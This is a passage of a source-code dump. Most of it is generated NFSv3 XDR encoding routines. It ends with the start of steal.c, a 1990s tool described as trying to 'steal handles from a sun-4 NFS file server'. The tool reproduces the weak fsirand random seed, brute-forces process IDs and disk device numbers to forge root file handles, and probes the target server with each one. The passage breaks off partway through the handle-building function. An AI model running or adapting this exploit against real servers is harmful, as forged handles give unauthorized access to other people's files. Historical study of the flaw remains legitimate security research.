(xdrs, &objp->READLINK3res_u.resok)) 1307 | return FALSE; 1308 | break; 1309 | default: 1310 | if (!xdr_READLINK3resfail (xdrs, &objp->READLINK3res_u.resfail)) 1311 | return FALSE; 1312 | break; 1313 | } 1314 | return TRUE; 1315 | } 1316 | 1317 | bool_t 1318 | xdr_devicedata3 (XDR *xdrs, devicedata3 *objp) 1319 | { 1320 | register int32_t *buf; 1321 | 1322 | if (!xdr_sattr3 (xdrs, &objp->dev_attributes)) 1323 | return FALSE; 1324 | if (!xdr_specdata3 (xdrs, &objp->spec)) 1325 | return FALSE; 1326 | return TRUE; 1327 | } 1328 | 1329 | bool_t 1330 | xdr_mknoddata3 (XDR *xdrs, mknoddata3 *objp) 1331 | { 1332 | register int32_t *buf; 1333 | 1334 | if (!xdr_ftype3 (xdrs, &objp->type)) 1335 | return FALSE; 1336 | switch (objp->type) { 1337 | case NF3CHR: 1338 | if (!xdr_devicedata3 (xdrs, &objp->mknoddata3_u.chr_device)) 1339 | return FALSE; 1340 | break; 1341 | case NF3BLK: 1342 | if (!xdr_devicedata3 (xdrs, &objp->mknoddata3_u.blk_device)) 1343 | return FALSE; 1344 | break; 1345 | case NF3SOCK: 1346 | if (!xdr_sattr3 (xdrs, &objp->mknoddata3_u.sock_attributes)) 1347 | return FALSE; 1348 | break; 1349 | case NF3FIFO: 1350 | if (!xdr_sattr3 (xdrs, &objp->mknoddata3_u.pipe_attributes)) 1351 | return FALSE; 1352 | break; 1353 | default: 1354 | break; 1355 | } 1356 | return TRUE; 1357 | } 1358 | 1359 | bool_t 1360 | xdr_MKNOD3args (XDR *xdrs, MKNOD3args *objp) 1361 | { 1362 | register int32_t *buf; 1363 | 1364 | if (!xdr_diropargs3 (xdrs, &objp->where)) 1365 | return FALSE; 1366 | if (!xdr_mknoddata3 (xdrs, &objp->what)) 1367 | return FALSE; 1368 | return TRUE; 1369 | } 1370 | 1371 | bool_t 1372 | xdr_MKNOD3resok (XDR *xdrs, MKNOD3resok *objp) 1373 | { 1374 | register int32_t *buf; 1375 | 1376 | if (!xdr_post_op_fh3 (xdrs, &objp->obj)) 1377 | return FALSE; 1378 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 1379 | return FALSE; 1380 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 1381 | return FALSE; 1382 | return TRUE; 1383 | } 1384 | 1385 | bool_t 1386 | xdr_MKNOD3resfail (XDR *xdrs, MKNOD3resfail *objp) 1387 | { 1388 | register int32_t *buf; 1389 | 1390 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 1391 | return FALSE; 1392 | return TRUE; 1393 | } 1394 | 1395 | bool_t 1396 | xdr_MKNOD3res (XDR *xdrs, MKNOD3res *objp) 1397 | { 1398 | register int32_t *buf; 1399 | 1400 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1401 | return FALSE; 1402 | switch (objp->status) { 1403 | case NFS3_OK: 1404 | if (!xdr_MKNOD3resok (xdrs, &objp->MKNOD3res_u.resok)) 1405 | return FALSE; 1406 | break; 1407 | default: 1408 | if (!xdr_MKNOD3resfail (xdrs, &objp->MKNOD3res_u.resfail)) 1409 | return FALSE; 1410 | break; 1411 | } 1412 | return TRUE; 1413 | } 1414 | 1415 | bool_t 1416 | xdr_MKDIR3args (XDR *xdrs, MKDIR3args *objp) 1417 | { 1418 | register int32_t *buf; 1419 | 1420 | if (!xdr_diropargs3 (xdrs, &objp->where)) 1421 | return FALSE; 1422 | if (!xdr_sattr3 (xdrs, &objp->attributes)) 1423 | return FALSE; 1424 | return TRUE; 1425 | } 1426 | 1427 | bool_t 1428 | xdr_MKDIR3resok (XDR *xdrs, MKDIR3resok *objp) 1429 | { 1430 | register int32_t *buf; 1431 | 1432 | if (!xdr_post_op_fh3 (xdrs, &objp->obj)) 1433 | return FALSE; 1434 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 1435 | return FALSE; 1436 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 1437 | return FALSE; 1438 | return TRUE; 1439 | } 1440 | 1441 | bool_t 1442 | xdr_MKDIR3resfail (XDR *xdrs, MKDIR3resfail *objp) 1443 | { 1444 | register int32_t *buf; 1445 | 1446 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 1447 | return FALSE; 1448 | return TRUE; 1449 | } 1450 | 1451 | bool_t 1452 | xdr_MKDIR3res (XDR *xdrs, MKDIR3res *objp) 1453 | { 1454 | register int32_t *buf; 1455 | 1456 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1457 | return FALSE; 1458 | switch (objp->status) { 1459 | case NFS3_OK: 1460 | if (!xdr_MKDIR3resok (xdrs, &objp->MKDIR3res_u.resok)) 1461 | return FALSE; 1462 | break; 1463 | default: 1464 | if (!xdr_MKDIR3resfail (xdrs, &objp->MKDIR3res_u.resfail)) 1465 | return FALSE; 1466 | break; 1467 | } 1468 | return TRUE; 1469 | } 1470 | 1471 | bool_t 1472 | xdr_RMDIR3args (XDR *xdrs, RMDIR3args *objp) 1473 | { 1474 | register int32_t *buf; 1475 | 1476 | if (!xdr_diropargs3 (xdrs, &objp->object)) 1477 | return FALSE; 1478 | return TRUE; 1479 | } 1480 | 1481 | bool_t 1482 | xdr_RMDIR3resok (XDR *xdrs, RMDIR3resok *objp) 1483 | { 1484 | register int32_t *buf; 1485 | 1486 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 1487 | return FALSE; 1488 | return TRUE; 1489 | } 1490 | 1491 | bool_t 1492 | xdr_RMDIR3resfail (XDR *xdrs, RMDIR3resfail *objp) 1493 | { 1494 | register int32_t *buf; 1495 | 1496 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 1497 | return FALSE; 1498 | return TRUE; 1499 | } 1500 | 1501 | bool_t 1502 | xdr_RMDIR3res (XDR *xdrs, RMDIR3res *objp) 1503 | { 1504 | register int32_t *buf; 1505 | 1506 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1507 | return FALSE; 1508 | switch (objp->status) { 1509 | case NFS3_OK: 1510 | if (!xdr_RMDIR3resok (xdrs, &objp->RMDIR3res_u.resok)) 1511 | return FALSE; 1512 | break; 1513 | default: 1514 | if (!xdr_RMDIR3resfail (xdrs, &objp->RMDIR3res_u.resfail)) 1515 | return FALSE; 1516 | break; 1517 | } 1518 | return TRUE; 1519 | } 1520 | 1521 | bool_t 1522 | xdr_RENAME3args (XDR *xdrs, RENAME3args *objp) 1523 | { 1524 | register int32_t *buf; 1525 | 1526 | if (!xdr_diropargs3 (xdrs, &objp->from)) 1527 | return FALSE; 1528 | if (!xdr_diropargs3 (xdrs, &objp->to)) 1529 | return FALSE; 1530 | return TRUE; 1531 | } 1532 | 1533 | bool_t 1534 | xdr_RENAME3resok (XDR *xdrs, RENAME3resok *objp) 1535 | { 1536 | register int32_t *buf; 1537 | 1538 | if (!xdr_wcc_data (xdrs, &objp->fromdir_wcc)) 1539 | return FALSE; 1540 | if (!xdr_wcc_data (xdrs, &objp->todir_wcc)) 1541 | return FALSE; 1542 | return TRUE; 1543 | } 1544 | 1545 | bool_t 1546 | xdr_RENAME3resfail (XDR *xdrs, RENAME3resfail *objp) 1547 | { 1548 | register int32_t *buf; 1549 | 1550 | if (!xdr_wcc_data (xdrs, &objp->fromdir_wcc)) 1551 | return FALSE; 1552 | if (!xdr_wcc_data (xdrs, &objp->todir_wcc)) 1553 | return FALSE; 1554 | return TRUE; 1555 | } 1556 | 1557 | bool_t 1558 | xdr_RENAME3res (XDR *xdrs, RENAME3res *objp) 1559 | { 1560 | register int32_t *buf; 1561 | 1562 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1563 | return FALSE; 1564 | switch (objp->status) { 1565 | case NFS3_OK: 1566 | if (!xdr_RENAME3resok (xdrs, &objp->RENAME3res_u.resok)) 1567 | return FALSE; 1568 | break; 1569 | default: 1570 | if (!xdr_RENAME3resfail (xdrs, &objp->RENAME3res_u.resfail)) 1571 | return FALSE; 1572 | break; 1573 | } 1574 | return TRUE; 1575 | } 1576 | 1577 | bool_t 1578 | xdr_READDIRPLUS3args (XDR *xdrs, READDIRPLUS3args *objp) 1579 | { 1580 | register int32_t *buf; 1581 | 1582 | if (!xdr_nfs_fh3 (xdrs, &objp->dir)) 1583 | return FALSE; 1584 | if (!xdr_cookie3 (xdrs, &objp->cookie)) 1585 | return FALSE; 1586 | if (!xdr_cookieverf3 (xdrs, objp->cookieverf)) 1587 | return FALSE; 1588 | if (!xdr_count3 (xdrs, &objp->dircount)) 1589 | return FALSE; 1590 | if (!xdr_count3 (xdrs, &objp->maxcount)) 1591 | return FALSE; 1592 | return TRUE; 1593 | } 1594 | 1595 | bool_t 1596 | xdr_entryplus3 (XDR *xdrs, entryplus3 *objp) 1597 | { 1598 | register int32_t *buf; 1599 | 1600 | if (!xdr_fileid3 (xdrs, &objp->fileid)) 1601 | return FALSE; 1602 | if (!xdr_filename3 (xdrs, &objp->name)) 1603 | return FALSE; 1604 | if (!xdr_cookie3 (xdrs, &objp->cookie)) 1605 | return FALSE; 1606 | if (!xdr_post_op_attr (xdrs, &objp->name_attributes)) 1607 | return FALSE; 1608 | if (!xdr_post_op_fh3 (xdrs, &objp->name_handle)) 1609 | return FALSE; 1610 | if (!xdr_pointer (xdrs, (char **)&objp->nextentry, sizeof (entryplus3), (xdrproc_t) xdr_entryplus3)) 1611 | return FALSE; 1612 | return TRUE; 1613 | } 1614 | 1615 | bool_t 1616 | xdr_dirlistplus3 (XDR *xdrs, dirlistplus3 *objp) 1617 | { 1618 | register int32_t *buf; 1619 | 1620 | if (!xdr_pointer (xdrs, (char **)&objp->entries, sizeof (entryplus3), (xdrproc_t) xdr_entryplus3)) 1621 | return FALSE; 1622 | if (!xdr_bool (xdrs, &objp->eof)) 1623 | return FALSE; 1624 | return TRUE; 1625 | } 1626 | 1627 | bool_t 1628 | xdr_READDIRPLUS3resok (XDR *xdrs, READDIRPLUS3resok *objp) 1629 | { 1630 | register int32_t *buf; 1631 | 1632 | if (!xdr_post_op_attr (xdrs, &objp->dir_attributes)) 1633 | return FALSE; 1634 | if (!xdr_cookieverf3 (xdrs, objp->cookieverf)) 1635 | return FALSE; 1636 | if (!xdr_dirlistplus3 (xdrs, &objp->reply)) 1637 | return FALSE; 1638 | return TRUE; 1639 | } 1640 | 1641 | bool_t 1642 | xdr_READDIRPLUS3resfail (XDR *xdrs, READDIRPLUS3resfail *objp) 1643 | { 1644 | register int32_t *buf; 1645 | 1646 | if (!xdr_post_op_attr (xdrs, &objp->dir_attributes)) 1647 | return FALSE; 1648 | return TRUE; 1649 | } 1650 | 1651 | bool_t 1652 | xdr_READDIRPLUS3res (XDR *xdrs, READDIRPLUS3res *objp) 1653 | { 1654 | register int32_t *buf; 1655 | 1656 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1657 | return FALSE; 1658 | switch (objp->status) { 1659 | case NFS3_OK: 1660 | if (!xdr_READDIRPLUS3resok (xdrs, &objp->READDIRPLUS3res_u.resok)) 1661 | return FALSE; 1662 | break; 1663 | default: 1664 | if (!xdr_READDIRPLUS3resfail (xdrs, &objp->READDIRPLUS3res_u.resfail)) 1665 | return FALSE; 1666 | break; 1667 | } 1668 | return TRUE; 1669 | } 1670 | 1671 | bool_t 1672 | xdr_READDIR3args (XDR *xdrs, READDIR3args *objp) 1673 | { 1674 | register int32_t *buf; 1675 | 1676 | if (!xdr_nfs_fh3 (xdrs, &objp->dir)) 1677 | return FALSE; 1678 | if (!xdr_cookie3 (xdrs, &objp->cookie)) 1679 | return FALSE; 1680 | if (!xdr_cookieverf3 (xdrs, objp->cookieverf)) 1681 | return FALSE; 1682 | if (!xdr_count3 (xdrs, &objp->count)) 1683 | return FALSE; 1684 | return TRUE; 1685 | } 1686 | 1687 | bool_t 1688 | xdr_entry3 (XDR *xdrs, entry3 *objp) 1689 | { 1690 | register int32_t *buf; 1691 | 1692 | if (!xdr_fileid3 (xdrs, &objp->fileid)) 1693 | return FALSE; 1694 | if (!xdr_filename3 (xdrs, &objp->name)) 1695 | return FALSE; 1696 | if (!xdr_cookie3 (xdrs, &objp->cookie)) 1697 | return FALSE; 1698 | if (!xdr_pointer (xdrs, (char **)&objp->nextentry, sizeof (entry3), (xdrproc_t) xdr_entry3)) 1699 | return FALSE; 1700 | return TRUE; 1701 | } 1702 | 1703 | bool_t 1704 | xdr_dirlist3 (XDR *xdrs, dirlist3 *objp) 1705 | { 1706 | register int32_t *buf; 1707 | 1708 | if (!xdr_pointer (xdrs, (char **)&objp->entries, sizeof (entry3), (xdrproc_t) xdr_entry3)) 1709 | return FALSE; 1710 | if (!xdr_bool (xdrs, &objp->eof)) 1711 | return FALSE; 1712 | return TRUE; 1713 | } 1714 | 1715 | bool_t 1716 | xdr_READDIR3resok (XDR *xdrs, READDIR3resok *objp) 1717 | { 1718 | register int32_t *buf; 1719 | 1720 | if (!xdr_post_op_attr (xdrs, &objp->dir_attributes)) 1721 | return FALSE; 1722 | if (!xdr_cookieverf3 (xdrs, objp->cookieverf)) 1723 | return FALSE; 1724 | if (!xdr_dirlist3 (xdrs, &objp->reply)) 1725 | return FALSE; 1726 | return TRUE; 1727 | } 1728 | 1729 | bool_t 1730 | xdr_READDIR3resfail (XDR *xdrs, READDIR3resfail *objp) 1731 | { 1732 | register int32_t *buf; 1733 | 1734 | if (!xdr_post_op_attr (xdrs, &objp->dir_attributes)) 1735 | return FALSE; 1736 | return TRUE; 1737 | } 1738 | 1739 | bool_t 1740 | xdr_READDIR3res (XDR *xdrs, READDIR3res *objp) 1741 | { 1742 | register int32_t *buf; 1743 | 1744 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1745 | return FALSE; 1746 | switch (objp->status) { 1747 | case NFS3_OK: 1748 | if (!xdr_READDIR3resok (xdrs, &objp->READDIR3res_u.resok)) 1749 | return FALSE; 1750 | break; 1751 | default: 1752 | if (!xdr_READDIR3resfail (xdrs, &objp->READDIR3res_u.resfail)) 1753 | return FALSE; 1754 | break; 1755 | } 1756 | return TRUE; 1757 | } 1758 | 1759 | bool_t 1760 | xdr_LINK3args (XDR *xdrs, LINK3args *objp) 1761 | { 1762 | register int32_t *buf; 1763 | 1764 | if (!xdr_nfs_fh3 (xdrs, &objp->file)) 1765 | return FALSE; 1766 | if (!xdr_diropargs3 (xdrs, &objp->link)) 1767 | return FALSE; 1768 | return TRUE; 1769 | } 1770 | 1771 | bool_t 1772 | xdr_LINK3resok (XDR *xdrs, LINK3resok *objp) 1773 | { 1774 | register int32_t *buf; 1775 | 1776 | if (!xdr_post_op_attr (xdrs, &objp->file_attributes)) 1777 | return FALSE; 1778 | if (!xdr_wcc_data (xdrs, &objp->linkdir_wcc)) 1779 | return FALSE; 1780 | return TRUE; 1781 | } 1782 | 1783 | bool_t 1784 | xdr_LINK3resfail (XDR *xdrs, LINK3resfail *objp) 1785 | { 1786 | register int32_t *buf; 1787 | 1788 | if (!xdr_post_op_attr (xdrs, &objp->file_attributes)) 1789 | return FALSE; 1790 | if (!xdr_wcc_data (xdrs, &objp->linkdir_wcc)) 1791 | return FALSE; 1792 | return TRUE; 1793 | } 1794 | 1795 | bool_t 1796 | xdr_LINK3res (XDR *xdrs, LINK3res *objp) 1797 | { 1798 | register int32_t *buf; 1799 | 1800 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1801 | return FALSE; 1802 | switch (objp->status) { 1803 | case NFS3_OK: 1804 | if (!xdr_LINK3resok (xdrs, &objp->LINK3res_u.resok)) 1805 | return FALSE; 1806 | break; 1807 | default: 1808 | if (!xdr_LINK3resfail (xdrs, &objp->LINK3res_u.resfail)) 1809 | return FALSE; 1810 | break; 1811 | } 1812 | return TRUE; 1813 | } 1814 | 1815 | bool_t 1816 | xdr_sattrguard3 (XDR *xdrs, sattrguard3 *objp) 1817 | { 1818 | register int32_t *buf; 1819 | 1820 | if (!xdr_bool (xdrs, &objp->check)) 1821 | return FALSE; 1822 | switch (objp->check) { 1823 | case TRUE: 1824 | if (!xdr_nfstime3 (xdrs, &objp->sattrguard3_u.obj_ctime)) 1825 | return FALSE; 1826 | break; 1827 | case FALSE: 1828 | break; 1829 | default: 1830 | return FALSE; 1831 | } 1832 | return TRUE; 1833 | } 1834 | 1835 | bool_t 1836 | xdr_SETATTR3args (XDR *xdrs, SETATTR3args *objp) 1837 | { 1838 | register int32_t *buf; 1839 | 1840 | if (!xdr_nfs_fh3 (xdrs, &objp->object)) 1841 | return FALSE; 1842 | if (!xdr_sattr3 (xdrs, &objp->new_attributes)) 1843 | return FALSE; 1844 | if (!xdr_sattrguard3 (xdrs, &objp->guard)) 1845 | return FALSE; 1846 | return TRUE; 1847 | } 1848 | 1849 | bool_t 1850 | xdr_SETATTR3resok (XDR *xdrs, SETATTR3resok *objp) 1851 | { 1852 | register int32_t *buf; 1853 | 1854 | if (!xdr_wcc_data (xdrs, &objp->obj_wcc)) 1855 | return FALSE; 1856 | return TRUE; 1857 | } 1858 | 1859 | bool_t 1860 | xdr_SETATTR3resfail (XDR *xdrs, SETATTR3resfail *objp) 1861 | { 1862 | register int32_t *buf; 1863 | 1864 | if (!xdr_wcc_data (xdrs, &objp->obj_wcc)) 1865 | return FALSE; 1866 | return TRUE; 1867 | } 1868 | 1869 | bool_t 1870 | xdr_SETATTR3res (XDR *xdrs, SETATTR3res *objp) 1871 | { 1872 | register int32_t *buf; 1873 | 1874 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1875 | return FALSE; 1876 | switch (objp->status) { 1877 | case NFS3_OK: 1878 | if (!xdr_SETATTR3resok (xdrs, &objp->SETATTR3res_u.resok)) 1879 | return FALSE; 1880 | break; 1881 | default: 1882 | if (!xdr_SETATTR3resfail (xdrs, &objp->SETATTR3res_u.resfail)) 1883 | return FALSE; 1884 | break; 1885 | } 1886 | return TRUE; 1887 | } 1888 | 1889 | bool_t 1890 | xdr_nfsacl_type (XDR *xdrs, nfsacl_type *objp) 1891 | { 1892 | register int32_t *buf; 1893 | 1894 | if (!xdr_enum (xdrs, (enum_t *) objp)) 1895 | return FALSE; 1896 | return TRUE; 1897 | } 1898 | 1899 | bool_t 1900 | xdr_nfsacl_ace (XDR *xdrs, nfsacl_ace *objp) 1901 | { 1902 | register int32_t *buf; 1903 | 1904 | if (!xdr_nfsacl_type (xdrs, &objp->type)) 1905 | return FALSE; 1906 | if (!xdr_u_int (xdrs, &objp->id)) 1907 | return FALSE; 1908 | if (!xdr_u_int (xdrs, &objp->perm)) 1909 | return FALSE; 1910 | return TRUE; 1911 | } 1912 | 1913 | bool_t 1914 | xdr_GETACL3args (XDR *xdrs, GETACL3args *objp) 1915 | { 1916 | register int32_t *buf; 1917 | 1918 | if (!xdr_nfs_fh3 (xdrs, &objp->dir)) 1919 | return FALSE; 1920 | if (!xdr_u_int (xdrs, &objp->mask)) 1921 | return FALSE; 1922 | return TRUE; 1923 | } 1924 | 1925 | bool_t 1926 | xdr_GETACL3resok (XDR *xdrs, GETACL3resok *objp) 1927 | { 1928 | register int32_t *buf; 1929 | 1930 | if (!xdr_post_op_attr (xdrs, &objp->attr)) 1931 | return FALSE; 1932 | if (!xdr_u_int (xdrs, &objp->mask)) 1933 | return FALSE; 1934 | if (!xdr_u_int (xdrs, &objp->ace_count)) 1935 | return FALSE; 1936 | if (!xdr_array (xdrs, (char **)&objp->ace.ace_val, (u_int *) &objp->ace.ace_len, ~0, 1937 | sizeof (nfsacl_ace), (xdrproc_t) xdr_nfsacl_ace)) 1938 | return FALSE; 1939 | if (!xdr_u_int (xdrs, &objp->default_ace_count)) 1940 | return FALSE; 1941 | if (!xdr_array (xdrs, (char **)&objp->default_ace.default_ace_val, (u_int *) &objp->default_ace.default_ace_len, ~0, 1942 | sizeof (nfsacl_ace), (xdrproc_t) xdr_nfsacl_ace)) 1943 | return FALSE; 1944 | return TRUE; 1945 | } 1946 | 1947 | bool_t 1948 | xdr_GETACL3res (XDR *xdrs, GETACL3res *objp) 1949 | { 1950 | register int32_t *buf; 1951 | 1952 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1953 | return FALSE; 1954 | switch (objp->status) { 1955 | case NFS3_OK: 1956 | if (!xdr_GETACL3resok (xdrs, &objp->GETACL3res_u.resok)) 1957 | return FALSE; 1958 | break; 1959 | default: 1960 | break; 1961 | } 1962 | return TRUE; 1963 | } 1964 | 1965 | bool_t 1966 | xdr_SETACL3args (XDR *xdrs, SETACL3args *objp) 1967 | { 1968 | register int32_t *buf; 1969 | 1970 | if (!xdr_nfs_fh3 (xdrs, &objp->dir)) 1971 | return FALSE; 1972 | if (!xdr_u_int (xdrs, &objp->mask)) 1973 | return FALSE; 1974 | if (!xdr_u_int (xdrs, &objp->ace_count)) 1975 | return FALSE; 1976 | if (!xdr_array (xdrs, (char **)&objp->ace.ace_val, (u_int *) &objp->ace.ace_len, ~0, 1977 | sizeof (nfsacl_ace), (xdrproc_t) xdr_nfsacl_ace)) 1978 | return FALSE; 1979 | if (!xdr_u_int (xdrs, &objp->default_ace_count)) 1980 | return FALSE; 1981 | if (!xdr_array (xdrs, (char **)&objp->default_ace.default_ace_val, (u_int *) &objp->default_ace.default_ace_len, ~0, 1982 | sizeof (nfsacl_ace), (xdrproc_t) xdr_nfsacl_ace)) 1983 | return FALSE; 1984 | return TRUE; 1985 | } 1986 | 1987 | bool_t 1988 | xdr_SETACL3resok (XDR *xdrs, SETACL3resok *objp) 1989 | { 1990 | register int32_t *buf; 1991 | 1992 | if (!xdr_post_op_attr (xdrs, &objp->attr)) 1993 | return FALSE; 1994 | return TRUE; 1995 | } 1996 | 1997 | bool_t 1998 | xdr_SETACL3res (XDR *xdrs, SETACL3res *objp) 1999 | { 2000 | register int32_t *buf; 2001 | 2002 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 2003 | return FALSE; 2004 | switch (objp->status) { 2005 | case NFS3_OK: 2006 | if (!xdr_SETACL3resok (xdrs, &objp->SETACL3res_u.resok)) 2007 | return FALSE; 2008 | break; 2009 | default: 2010 | break; 2011 | } 2012 | return TRUE; 2013 | } 2014 | -------------------------------------------------------------------------------- /steal.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1990-1998 by Leendert van Doorn 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions are met: 7 | * * Redistributions of source code must retain the above copyright 8 | * notice, this list of conditions and the following disclaimer. 9 | * * Redistributions in binary form must reproduce the above copyright 10 | * notice, this list of conditions and the following disclaimer in the 11 | * documentation and/or other materials provided with the distribution. 12 | * * Neither the name of Vrije Universiteit nor the names of its 13 | * contributors may be used to endorse or promote products derived from 14 | * this software without specific prior written permission. 15 | * 16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 17 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 18 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 19 | * DISCLAIMED. IN NO EVENT SHALL LEENDERT VAN DOORN, OR VRIJE UNIVERSITEIT 20 | * (AMSTERDAM) BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 21 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 22 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; 23 | * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 24 | * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 26 | * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | /* 29 | * steal - try to steal handles from a sun-4 NFS file server 30 | */ 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #ifdef SYSV 45 | #include 46 | #else 47 | #include 48 | #endif 49 | #include "mount.h" 50 | #include "nfs_prot.h" 51 | 52 | /* 53 | * This random seed is the constant value that the 54 | * uninitialized variable ``timeval'' in fsirand contains. 55 | */ 56 | #define SUN4_RANDOM (0 + 32) 57 | 58 | /* 59 | * Disk device descriptor (major/minor) 60 | */ 61 | #define DSK_NMIN 16 62 | struct disk { 63 | int dsk_maj; /* major disk device number */ 64 | int dsk_min[16]; /* minor device table */ 65 | }; 66 | 67 | /* 68 | * Device descriptor 69 | */ 70 | #define DEV_NDISKS 2 71 | struct device { 72 | long dev_random; /* machine specific random seed */ 73 | int dev_pid; /* maximum pid to look at */ 74 | struct disk dev_disks[DEV_NDISKS]; /* disk table */ 75 | }; 76 | 77 | struct device device = { 78 | { SUN4_RANDOM, 2000, 79 | { 10, /* /dev/xd[01][a-h] */ 80 | { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } }, 81 | { 7, /* /dev/sd[01][a-h] */ 82 | { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } }, 83 | }, 84 | }; 85 | 86 | /* 87 | * File system types, these correspond to entries in fsconf 88 | */ 89 | #define MOUNT_UFS 1 90 | #define MOUNT_NFS 2 91 | #define MOUNT_PC 3 92 | #define MOUNT_LO 4 93 | #define MOUNT_TFS 5 94 | #define MOUNT_TMP 6 95 | 96 | /* 97 | * This struct is only used to find the size of the data field in the 98 | * fhandle structure below. 99 | */ 100 | static struct fhsize { 101 | fsid_t f1; 102 | u_short f2; 103 | char f3[4]; 104 | u_short f4; 105 | char f5[4]; 106 | }; 107 | #define NFS_FHMAXDATA ((NFS_FHSIZE - sizeof (struct fhsize) + 8) / 2) 108 | 109 | struct svcfh { 110 | fsid_t fh_fsid; /* filesystem id */ 111 | u_short fh_len; /* file number length */ 112 | char fh_data[NFS_FHMAXDATA]; /* and data */ 113 | u_short fh_xlen; /* export file number length */ 114 | char fh_xdata[NFS_FHMAXDATA]; /* and data */ 115 | }; 116 | 117 | struct timeval timeout = { 60, 0 }; 118 | struct sockaddr_in server_addr; 119 | CLIENT *client; 120 | 121 | int handleok(); 122 | long random(); 123 | 124 | main(argc, argv) 125 | int argc; 126 | char **argv; 127 | { 128 | register int pid; 129 | int sock = RPC_ANYSOCK; 130 | char *host; 131 | 132 | if (argc != 2) { 133 | fprintf(stderr, "Usage: %s host\n", argv[0]); 134 | exit(1); 135 | } 136 | host = argv[1]; 137 | 138 | /* convert hostname to IP address */ 139 | if (isdigit(*host)) { 140 | server_addr.sin_addr.s_addr = inet_addr(host); 141 | } else { 142 | struct hostent *hp = gethostbyname(host); 143 | if (hp == NULL) { 144 | fprintf(stderr, "%s: unknown host\n", host); 145 | exit(1); 146 | } 147 | bcopy(hp->h_addr, &server_addr.sin_addr.s_addr, hp->h_length); 148 | host = hp->h_name; 149 | } 150 | server_addr.sin_family = AF_INET; 151 | server_addr.sin_port = 0; 152 | 153 | /* setup communication channel with NFS daemon */ 154 | if ((client = clntudp_create(&server_addr, 155 | NFS_PROGRAM, NFS_VERSION, timeout, &sock)) == NULL) { 156 | clnt_pcreateerror(host); 157 | exit(1); 158 | } 159 | clnt_control(client, CLSET_TIMEOUT, &timeout); 160 | client->cl_auth = authunix_create_default(-2, -2); 161 | 162 | /* 163 | * For every likely process id, search through the list 164 | * of likely devices and create a handle. Since the pid's 165 | * used in fsirand are often low (<1000), it makes more 166 | * sense to go through the devices first. 167 | */ 168 | for (pid = 0; pid <= device.dev_pid; pid++) { 169 | register int n, dsk; 170 | long gen; 171 | 172 | /* initialize generation generator */ 173 | srandom(1); 174 | srandom(pid + device.dev_random); 175 | n = pid; 176 | while (n--) (void) random(); 177 | 178 | if ((pid % 100) == 0) printf("\tpid = %d\n", pid); 179 | 180 | /* compute generation # for inode 2 */ 181 | (void) random(); /* inode 0 */ 182 | (void) random(); /* inode 1 */ 183 | gen = random(); 184 | 185 | /* 186 | * Try every disk controler 187 | */ 188 | for (dsk = 0; dsk < DEV_NDISKS; dsk++) { 189 | register struct disk *dp = &device.dev_disks[dsk]; 190 | register int min, maj = dp->dsk_maj; 191 | 192 | /* 193 | * Try every disk. A minor number of -1 indicates that 194 | * it has already been guessed. 195 | */ 196 | for (min = 0; min < DSK_NMIN; min++) { 197 | fhandle handle; 198 | 199 | if(dp->dsk_min[min] == -1) continue; 200 | makehandle(handle, maj, dp->dsk_min[min], 2, gen, 2, gen); 201 | if (handleok(handle)) { 202 | dp->dsk_min[min] = -1; 203 | printhandle(handle); 204 | break; 205 | } 206 | } 207 | } 208 | } 209 | 210 | auth_destroy(client->cl_auth); 211 | clnt_destroy(client); 212 | exit(0); 213 | } 214 | 215 | /* 216 | * Create a handle 217 | */ 218 | makehandle(handle, maj, min, inum, gen, rinum, rgen) 219 | struct svcfh *handle; 220 | int maj, min; 221 | long inum, gen; 222 | long rinum, rgen; 223 | { 224 | handle->fh_fsid.val[0] = makedev(maj, min); 225 | handle->fh_fsid.val[1] = MOUNT_UFS; 226 | 227 | handle->fh_len = 10; 228 | *((u_short *)&handle->fh_data[0]) = 0; /* length */ 229 | *((ino_t *)&handle->fh_data[2]) = inum; /* inode */ 230 | *((long *)&handle->fh_data[6]) = gen; /* generation number */ 231 | 232 | handle->fh_xlen = 10; 233 | *((u_short *)&handle->fh_xdata[0]) = 0; /* length */ 234 | *((ino_t *)&handle->fh_xdata[2]) = rinum; /* inode */ 235 | *((long *)&handle->fh_xdata[6]) = rgen; /* generation number */ 